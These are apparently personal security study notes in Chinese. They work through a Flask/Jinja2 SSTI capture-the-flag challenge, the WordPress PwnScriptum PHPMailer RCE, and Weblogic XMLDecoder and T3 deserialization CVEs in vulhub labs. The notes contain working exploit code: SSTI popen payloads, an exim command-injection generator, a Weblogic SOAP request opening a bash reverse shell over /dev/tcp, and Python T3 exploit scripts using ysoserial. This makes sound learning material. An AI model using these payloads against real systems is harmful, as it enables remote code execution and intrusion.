原因就在于使用的模板引擎是jinja2,它有自己的一套规则,基本的语法如下

  • 控制结构 {% %}
  • 变量取值 {{ }}
  • 注释 {# #}

那么将刚刚的示例修改一下

1
2
3
4
5
6
@app.route('/test')
def test_ssti():
template = "{% for i in range(3) %}" \
"{{i}}" \
"{% endfor %}"
return render_template_string(template)

访问之后效果如下

image-20230112163519711

可以看到相当于执行了对应的jinja2代码,那么针对flaskSSTI模板注入,其实质就是执行jinja2代码。

而相对于jinja2代码执行,用的最多的就是变量{{i}}取值,利用变量取值就可以获取到python里面各式各样的类和其中对应的方法,那么传入相关参数就能调用到相关的python代码了呀。

比如最开始的'abc'.__class__,可以通过它来获取到基类object然后获取到后面的对应所有需要的类

image-20230112164326132

而很常用的popen函数,就会在某个类里存在,那么就需要去寻找,比如在python3里面有'abc'.__class__.__base__.__subclasses__()[134].__init__.__globals__['popen']

image-20230112164500524

那么对应传入参数就可以执行函数了,常用形式如下

1
'abc'.__class__.__base__.__subclasses__()[134].__init__.__globals__['popen']('ipconfig').read()

这些相关常用属性也有相关总结,参考:

(48条消息) SSTI知识点与题型_zbbjya的博客-CSDN博客_ssti大全

python 沙箱逃逸与SSTI ~ Misaki’s Blog (misakikata.github.io)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__class__            类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。

request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>

题目

那么有了前置知识,这个就很好做了,利用相关的payload即可,在flask中有一个很常用的config

1
2
3
4
@app.route('/test')
def test_ssti():
template = "{{config}}"
return render_template_string(template)

image-20230112165239719

上面总结也有提到,如下payload

1
config.__class__.__init__.__globals__['os'].popen('ls').read()

但是这里还存在一个rc4加解密,使用不知道哪位师傅的脚本即可解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import base64
from urllib import parse

def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt

def rc4_init_sbox(key):
s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box

def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
# print("res用于加密字符串,加密后是:%res" %res)
cipher = "".join(res)
#print("加密后的字符串是:\n%s" %cipher)
enc_url = parse.quote(cipher)
print("加密后的url编码:\n" + enc_url)
#print("加密后的输出(经过base64编码):")
#print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

rc4_main("HereIsTreasure",'''{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}''')

题外话

在获取到网站源码之后,发现其实是有黑名单过滤的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@app.route('/secret',methods=['GET','POST'])
def secret():
def safe(s):
black=['class','mro','subclasses','read','args','form','write', 'mro', '<', '>', '|', 'join' 'os', 'sys', 'pop', 'del', 'rm', 'eval', 'exec', 'ls', 'cat', ';', '&&', 'catch_warnings', 'func_globals', 'pickle', 'import', 'subprocess', 'commands', 'input', 'execfile', 'reload', 'compile', 'execfile', 'kill', 'func_code' ]
for i in black:
if i in s:
return '\''+ i +'\' is not allowed. Secret is ' + s
return s
secret=request.args.get('secret')
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)

a=render_template_string(safe(deS))

if 'ciscn' in a.lower():
return 'flag detected!'
return a

但是他这个过滤,其实只是给我们的输入加了一些字符,比如里面有class,就会变成'class' is not allowed. Secret is xxxx,而在jinja2里,对于普通的字符,即不符合语法规则的字符,是会原样输出的,比如如下代码

1
2
3
4
@app.route('/test')
def test_ssti():
template = "1234213{{'abc'.__class__.__base__.__subclasses__()[134].__init__.__globals__['popen']('ipconfig').read()}}"
return render_template_string(template)

访问结果如下

image-20230112170040620

其实对于代码执行一点影响没有,相当于只是一个网站的文本字符而已。

最终payload如下

1
{{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}}

Vulhub刷题

wordpress-pwnscriptum

漏洞原理

wordpress部分

wordpress在发送邮件的时候,调用的是如下代码

1
2
3
4
5
//wordpress-4.6 wp-includes pluggable.php 350

$from_name = apply_filters( 'wp_mail_from_name', $from_name );

$phpmailer->setFrom( $from_email, $from_name );

这里的$from_email是可控的,实质就是http中传入的Host字段经过一些过滤得到的,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//wordpress-4.6 wp-includes pluggable.php 324
if ( !isset( $from_email ) ) {
// Get the site domain and get rid of www.
$sitename = strtolower( $_SERVER['SERVER_NAME'] );
if ( substr( $sitename, 0, 4 ) == 'www.' ) {
$sitename = substr( $sitename, 4 );
}

$from_email = 'wordpress@' . $sitename;
}

/**
* Filters the email address to send from.
*
* @since 2.2.0
*
* @param string $from_email Email address to send from.
*/
$from_email = apply_filters( 'wp_mail_from', $from_email );

这个$_SERVER['SERVER_NAME']就是传入的Host字段。

phpmailer部分

之前讲到的$phpmailer->setFrom( $from_email, $from_name );,调用的就是phpmailer组件的相关代码,该函数如下

1
2
3
4
5
6
7
8
9
10
11
12
//phpmailer-5.2.10 class.phpmailer.php
public function setFrom($address, $name = '', $auto = true)
{
$address = trim($address);
//......中间是一些校验`$address`的,以及无关代码,本人水平太低,不太会绕过,直接略过,具体可看p神的
if ($auto) {
if (empty($this->Sender)) {
$this->Sender = $address;
}
}
return true;
}

然后当在wordpress中调用phpmailer.send()发送邮件时,对应代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function send()
{
try {
if (!$this->preSend()) {
return false;
}
return $this->postSend();
} catch (phpmailerException $exc) {
$this->mailHeader = '';
$this->setError($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
}

这个$this->preSend()一般不会影响到后续,返回的总是True,从而调用到postSend

其漏洞对应本质是CVE-2016-10033,参考:PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass (legalhackers.com)

PHPMailer这个组件在使用的时候,由于参数没有进行好的过滤,导致最终的代码执行。

参考:phpmailer RCE漏洞分析 · LoRexxar’s Blog

mark没有完整

使用popen,然后sendmail实际在安装了exim4之后,是一个软连接,连接到exim4

image-20230206115600945

exim4可以进行命令执行

image-20230206115744705

通过一些正则绕过等,就可以得到最终的payload,需要知道一个用户名,在用邮件验证的时候进行。

创建/tmp/success

1
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)

对应脚本P神vulhub里的

1
2
3
4
5
6
def generate_command(command):
command = '${run{%s}}' % command
command = command.replace('/', '${substr{0}{1}{$spool_directory}}')
command = command.replace(' ', '${substr{10}{1}{$tod_log}}')
return 'target(any -froot@localhost -be %s null)' % command
host_data = generate_command('/bin/bash /tmp/rce')

最好是放在burpsuite进行,不然容易出错。

WordPress Core 4.6 - Unauthenticated Remote Code Execution (RCE) PoC Exploit (exploitbox.io)

Weblogic

前置知识

XMLDecoder反序列化

参考如下:https://www.freebuf.com/articles/web/321222.html

XMLDecoder这个组件,可以将对象进行序列化生成特定格式文件xx.xml,然后通过反序列化该xx.xml可以得到对应的对象。

如上述链接提到的Person

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class Person {
private String name;
private int age;

//必须要有一个无参构造方法,要不会在序列化的过程中报错
public Person() {
}

public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

其中的get/set方法在序列化时会调用到,反序列化时只会调用set方法,如果没有,相关的成员属性的值会丢失。

通过XMLDecode序列化生成如下格式文件

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<java version="11.0.9" class="java.beans.XMLDecoder">
<object class="Person">
<void property="age">
<int>18</int>
</void>
<void property="name">
<string>test</string>
</void>
</object>
</java>

之后进行反序列化即可得到对应的Person对象,相关代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.*;


public class test {
public static Object decode() {
File file = new File(test.class.getClassLoader().getResource("").getPath() + "config.xml");
XMLDecoder xmlDecoder = null;
try {
xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
//反序列化对象
Object o = xmlDecoder.readObject();
return o;
} catch (Exception e) {
e.printStackTrace();
return null;
} finally {
if (xmlDecoder != null) {
xmlDecoder.close();
}
}
}


public static void encode(Object o) {
XMLEncoder xmlEncoder = null;
try {
File file = new File(test.class.getClassLoader().getResource("").getPath() + "config.xml");
xmlEncoder = new XMLEncoder(new BufferedOutputStream(new FileOutputStream(file)));
//序列化对象
xmlEncoder.writeObject(o);
xmlEncoder.flush();
} catch (FileNotFoundException e) {
e.printStackTrace();
} finally {
xmlEncoder.close();
}
}


public static void main(String[] args) throws FileNotFoundException {
Person person = new Person("test", 18);
encode(person);
Person result = (Person) decode();
System.out.println(result);
//decode();
}
}

在反序列化的过程中,依据xml中文件内容,依据指定类进行反序列化,并且对应属性赋值。那么就可以找一个可以进行RCE的类,反序列化过程中就可以进行RCE了,相关POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0" class="java.beans.XMLDecoder">
<!--反序列化ProcessBuilder-->
<object class="java.lang.ProcessBuilder">
<!--传入参数-->
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<!--调用方法为start-->
<void method="start" />
</object>
</java>

这里JAVA版本写啥版本都没什么影响,这个xml进行反序列化之后相当于执行代码

1
2
ProcessBuilder proc = new ProcessBuilder("calc");
proc.start();

导致任意代码执行,具体的XMLDecode里面怎么反序列化的,怎么调用的,函数调用链是什么样子的,还是看如下参考链接吧

https://www.freebuf.com/articles/web/321222.html

https://www.freebuf.com/articles/network/247331.html

T3反序列化

参考:

WeblogicT3反序列化浅析之cve-2015-4852 - 先知社区 (aliyun.com)

Weblogic学习(一): 初识T3反序列化 (yuque.com)

其实主要就是Weblogic对于T3协议的处理,T3协议对于Weblogica而言,也就相当于JRMP协议对于原生的Java程序,都是用来RMI即远程方法调用的。

RMI/JRMP

关于RMI以及JRMP,感觉下面几篇文章挺好的

基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI - 先知社区 (aliyun.com)

搞懂RMI、JRMP、JNDI-终结篇 - 先知社区 (aliyun.com)

P神的三篇RMI机制分析

就个人理解而言,画个图好解释一下

image-20230208124253918

代码参照的是:基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI - 先知社区 (aliyun.com)

  • Server相关类实现如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    public interface HelloService extends Remote {
    String sayHello() throws RemoteException;
    }


    //重写了sayHello
    public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {

    protected HelloServiceImpl() throws RemoteException {
    }

    @Override
    public String sayHello() {
    System.out.println("hello!");
    return "hello!";
    }
    }
  • Client相关类实现如下

    1
    2
    3
    4
    5
    public interface HelloService extends Remote {

    String sayHello() throws RemoteException;
    }
    //并没有实现sayHello

总结来说,就是ServerClient共用一个接口,Client调用Server重写的接口。

首先Server重写该接口生成对象,将重写之后的对象进行动态代理序列化后上传到注册中心作为存根stub。然后Client就可以从注册中心register下载Server重写该接口的动态代理对象存根stub,将之反序列化后进行动态代理即可调用到Server重写的接口函数了。

这里提到stub对象不是对应的HelloServiceImpl对象,而是JAVA动态代理对象,里面存储了如何跟服务端联系的信息,以及封装了RMI的通讯实现细节,也就是对于sayHello重写的代码并没有保存在这个stub对象中,还是保存在服务器上,调用的时候还是远程调用。

还有更加详细的关于动态代理对象的解释可以看看奇安信A-team的师傅写的WebLogic安全研究报告 (qq.com),感觉写的很好,如下图

image-20230208124814148

需要注意的是,服务端Server和注册中心register其实是可以放在一台机器上的。

感觉这个过程更像是一个RSA过程,服务器生成私钥(stub)给客户,公开公钥(register以及Skeleton),借助这两方完成通信。

序列化漏洞

在这个过程中进行通信所用到的协议就是JRMP协议,其中进行数据传输的过程中,无论是客户端还是服务端,都会用到JAVA反序列化和序列化,盗用一下奇安信师傅的图,2333

image-20230208121353125

也就是基本都会存在漏洞,但是爆出来洞之后基本也会有相关的黑名单限制。可以参考:从ysoserial讲RMI/JRMP反序列化漏洞 - Escape-w - 博客园 (cnblogs.com)

T3协议

对于T3也是类似的,盗用一下奇安信师傅的图,2333

image-20230208114134211

漏洞原理

而对于使用T3协议,其数据包结构

image-20230208122112606

替换之后,当服务器接收到恶意的数据,对其中的一些序列化数据进行反序列化是,就会导致恶意对象被反序列化,从而引发反序列化漏洞。

攻击方式

相关的攻击方式就比如说在自己服务器生成一个注册中心,可控受害者的反序列化时就可以让其使用RMI机制。从自己服务器获取恶意的stub对象,然后在受害者再对该stub进行反序列化时即可完成攻击。

(因为可控受害者的反序列化的过程中可能会碰到黑名单限制,无法轻松完成CC链之类的攻击,所以借助原生RMI机制,详见CVE-2015-4852之后关于T3的漏洞。另外借助原生的RMI机制其实也可能会有黑名单限制,这个就需要自己绕过,或者找现成的payload来打了,参考:https://www.anquanke.com/post/id/228918)

CVE-2017-10271

Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞

环境搭建

参考:https://xz.aliyun.com/t/10172#toc-1

记得最后把docker重启一下就行

漏洞分析

漏洞点在/wls-wsat/提供的页面上,当POST请求规范的XML数据访问该组件下对应的页面,会进入到weblogic/wsee/jaxws/workcontext/WorkContextServerTube类中的processRequest方法,进行数据包的处理。

相关分析流程可以参考:

https://www.anquanke.com/post/id/102768#h2-6

https://xz.aliyun.com/t/10172#toc-4

对应调用链条为

1
2
3
4
5
6
7
8
WorkContextServerTube.processRequest   		
WorkContextServerTube.readHeaderOld //这里进行数据提取分割
WorkContextTube.WorkContextXmlInputAdapter //这里创建XMLDecoder对象
WorkContextServerTube.receive
WorkContextMapImpl.receiveRequest
WorkContextLocalMap.receiveRequest
WorkContextEntryImpl.readEntry
WorkContextXmlInputAdapter.readUTF

最终在readUTF中进行反序列化,

image-20230206192739611

这里的xmlDecode里面保存的buf就是我们传入去掉头部留下的数据

image-20230206194257790

赋值过来,用python跑一下就知道

image-20230206194334454

这样即得到最终的命令执行。

POC

P神vulhub下复制来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.163.130:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 641


<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>
bash -i &gt;&amp; /dev/tcp/[IP]/[PORT] 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

漏洞修复

官方补丁,没看怎么进行修复,不过应该时添加黑名单

CVE-2018-2628

详见上面的T3反序列化,是T3协议的漏洞

漏洞探测

首先需要看Weblogic是否启用T3协议,以及版本号的判断

1
nmap -p 7001,7002 -T4 -A -v --script weblogic-t3-info 192.168.120.161

环境搭建

也是类似的,用vulhub的,参考:https://xz.aliyun.com/t/10172#toc-1

记得最后把docker重启一下就行

漏洞分析

先从最开始的CVE-2015-4852进行分析,参考:Weblogic学习(一): 初识T3反序列化 (yuque.com)

使用如下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from os import popen
import struct #负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii

def generatePayload(gadget,cmd):
YSO_PATH = "/home/hacker/Desktop/WEB/JAVA/ysoserial.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()

def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
return
#payload的长度四字节无符号整数
payloadLen = binascii.a2b_hex(b"00000000")

#头部某些地方改掉也没关系,估计是只检测了一部分
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")

#反序列化标志,这个不能改
desflag = binascii.a2b_hex(b"fe010000")

payload = payloadLen + t3header +desflag+ payload
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "127.0.0.1"
port = 7001
gadget = "CommonsCollections1"
cmd = "touch /tmp/o_success"
payload = generatePayload(gadget,cmd)
T3Exploit(ip,port,payload)

首先断点下在weblogic.rjvm.InboundMsgAbbrev#readObject。如下图所示,可以看到前面还有一堆的调用链条

image-20230208153909798

是相关的异步以及线程、复用器(muxer)的分发等知识,不是很懂这里,估计是一些监听检测之类的,可以看看如下的介绍

CVE-2018-2628 Weblogic反序列化漏洞分析 - 先知社区 (aliyun.com)

然后看看现在的weblogic.rjvm.InboundMsgAbbrev#readObject

image-20230208160844802

这个var1就是接收到的数据,看里面的headbuf属性,将其复制出来,用python打印一下看看

image-20230208160956140

可以看到这一大串,其实就是我们的exp中的原数据

image-20230208161130659

前面的000005f2就是总的数据包的长度,这些数据都是可控的,但是这个长度只能比实际payload短,不能长。

那么之后就是相关解析,进行反序列化了。

resolveClass

在上述的readObject之后还会进行一系列的函数调用,其中比较重要的点就是weblogic.rjvm.InboundMsgAbbrev#resolveClass

image-20230208163342951

传入的stream会调用父类ObjectInputStreamresolveClass来进行类名解析

image-20230208163240081

对于总的readObject流程中,weblogic.rjvm.InboundMsgAbbrev#resolveClass大致扮演的角色如下廖师傅的图片

t0158bffbfdfc75d52f

那么就可以在这里添加一个过滤条件,设置黑名单了,比如如下对于12.2.1.3版本的Weblogic就会有如下过滤,存在一个检查

image-20230208163826701

而从最开始的该CVE相关的T3反序列化爆出来之后,后续修复方案大多都是在调用父类resolveClass之前进行黑名单过滤,写的代码也是逐次迭代

参考:weblogic历史T3反序列化漏洞及补丁梳理

最开始针对CVE-2015-4852的修复是在resolveClass中引入了ClassFilter.isBlackListed进行过滤,盗用一下cL0und师傅的图,23333

640

后面缝缝补补,黑名单位置也更改在WebLogicFilterConfig.class

image-20230207203932893

所以在后续的漏洞中,由于黑名单的使用这里其实需要对resolveClass进行一个分析

CVE-2017-3248

对于该漏洞的相关的漏洞发展绕过,可以看weblogic历史T3反序列化漏洞及补丁梳理,比较和本次CVE-2018-2628漏洞相关的是CVE-2017-3248,首次出现使用JRMPClient进行外带RCE

对应的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii

def generatePayload(gadget,cmd):
YSO_PATH = "/home/hacker/Desktop/WEB/JAVA/ysoserial.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()

def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
return
#payload的长度四字节无符号整数
payloadLen = binascii.a2b_hex(b"00000000")

#头部某些地方改掉也没关系,估计是只检测了一部分
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")

#反序列化标志,这个不能改
desflag = binascii.a2b_hex(b"fe010000")

payload = payloadLen + t3header +desflag+ payload
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)

if __name__ == "__main__":
host = "127.0.0.1"
port = 7001
gadget = "JRMPClient"
command = "[JRMPListern_IP]:[JRMPListern_Port]"
payload = generatePayload(gadget, command)
T3Exploit(host, port, payload)

可以看到发送的序列化对象是通过ysoserial生成的,我们看看ysoserial里面具体生成了什么对象

image-20230208200426758

可以看到生成的是Registry对象,然后将之复制出来,放到IDEA里面自己测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package ysoserial.test.payloads;

import java.lang.reflect.Proxy;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

public class myTest {
public Registry getObject (){
String host = "JRMPLister_IP";
int port = JRMPLister_Port;
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(
myTest.class.getClassLoader(),
new Class[] {Registry.class},
obj);
return proxy;
}


public static void main ( final String[] args ) throws RemoteException, NotBoundException {
myTest test = new myTest();
Registry testObj = test.getObject();

System.out.println("test");
}
}

在开启了远程的JRMPLister_IP之后

1
java -cp ./ysoserial-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections6 'touch /tmp/zzzz'

执行上述JAVA代码,发现并没有命令执行,远程也没有发送数据的信息显示。那么就可能现在还没有和远程进行通信,那么加入如下可以远程通信的代码

1
2
3
4
myTest test = new myTest();
Registry testObj = test.getObject();
testObj.list(); //列出可以远程调用的相关对象
System.out.println("test");

发现成功命令执行。

但是这里有个疑问,在Weblogic中反序列化对象之后,我并没有找到有对对象调用了远程通信的方法,而在调试的时候发现,当从resloveClass中返回,即完成如下代码就会得到命令执行了,这里有点不太懂。为什么能够远程通信了,这些代码里面并没有找到和远程通信的方法调用呀。

image-20230208201323984

实际调用链

参考:ysoserial JRMP相关模块分析(二)- payloads/JRMPClient & exploit/JRMPListener - 先知社区 (aliyun.com)

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析 - 360CERT

实际调试一下,看看是怎么从Registry调用到和远程通信的函数,将Weblogicjdk拿出来调试,上述的文章告诉我们最后是在jdk1.6.0_45/jre/lib/rt.jar!/sun.rmi.transport.StreamRemoteCall#executeCall中获取到远程对象进行反序列化的,如下图所示

image-20230209153555302

断点下在这里,看一看实际数据,这里的in就是连接的数据流

image-20230209155129824

断点之后再运行一下就断在如图所示地方,ysoserial会自动生成BadAttributeValueExpException这个类对象,然后将恶意的数据封装进去,所以实际的数据中,已经可以看到相关的CC链其实已经传过来并且反序列化了

image-20230209154129644

看看对应的调用栈

image-20230209155514492

有点多,前面大部分都是RMI机制相关的调用,不用太管,主要看实际的反序列化的点,即weblogic.rjvm.InboundMsgAbbrev#readObject处,那么相关的调用栈就如下

image-20230209155913075

这里可以看到有一堆的readObject,这其实涉及到ObjectInputStream反序列化的几种方式,参考:Weblogic CVE-2021-2394 反序列化漏洞分析-安全客 - 安全资讯平台 (anquanke.com),引用一下上述的一张图,其中红色和蓝色路径是互斥的。

img

那么前面就是针对接口Registry的以及RemoteObjectInvocationHandler的反序列化,而RemoteObjectInvocationHandler是继承自RemoteObjectRemoteObject又实现了Serializable接口,所以走的是下面蓝色的那条路径。

之后在RemoteObject.readObject上看一下,对里面的RemoteObjectInvocationHandler.ref,即RemoteRef进行了反序列化,通过判断refClassName,进入的是else路径,调用的是其readExternal函数,走的是上面红色的那条路,可以看到注释也说明了

image-20230209163242665

这个ref在之前的payload中看到的是

1
2
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

所以反序列化的是UnicastRef,其实现了RemoteRef接口,RemoteRef接口又实现了Externalizable接口,所以这里也能知道走的应该是红色路径。然后看看其反序列化函数,即readExternal

image-20230209163615120

调用其read函数,进行相关IP/Port的获取,然后进入到registerRefs函数,就是相关的DGC(Distributed Garbage Collection)分布式垃圾收集机制,可以参考,可以参考攻击JavaRMI概述 - FreeBuf网络安全行业门户

image-20230209163831012

不是很懂这个,就是进行一些相关注册之后,最后会在jdk1.6.0_45/jre/lib/rt.jar!/sun.rmi.transport.DGCImpl_Stub#dirty函数中调用到RemoteRef.invoke函数

image-20230209165245896

这里的ref就是那个UnicastRef了,然后就是这里的invoke函数了

image-20230209175828791

进入excuteCall函数,就是之前提到的,那么完整的分析就完成了,在excuteCall函数中通过如下代码

1
var14 = this.in.readObject();

完成远程对象的反序列化。

绕过CVE-2017-3248

CVE-2017-3248之后,CVE-2018-2628生成的原因,就在于绕过了黑名单中对于java.rmi.registry.Registry的过滤,该过滤是放在weblogic.rjvm.InboundMsgAbbrev#resolveProxyClass中的。

image-20230208164502309

而这个resolveProxyClass在前面那张廖师傅的图片也提到了,也是可以用来过滤的。

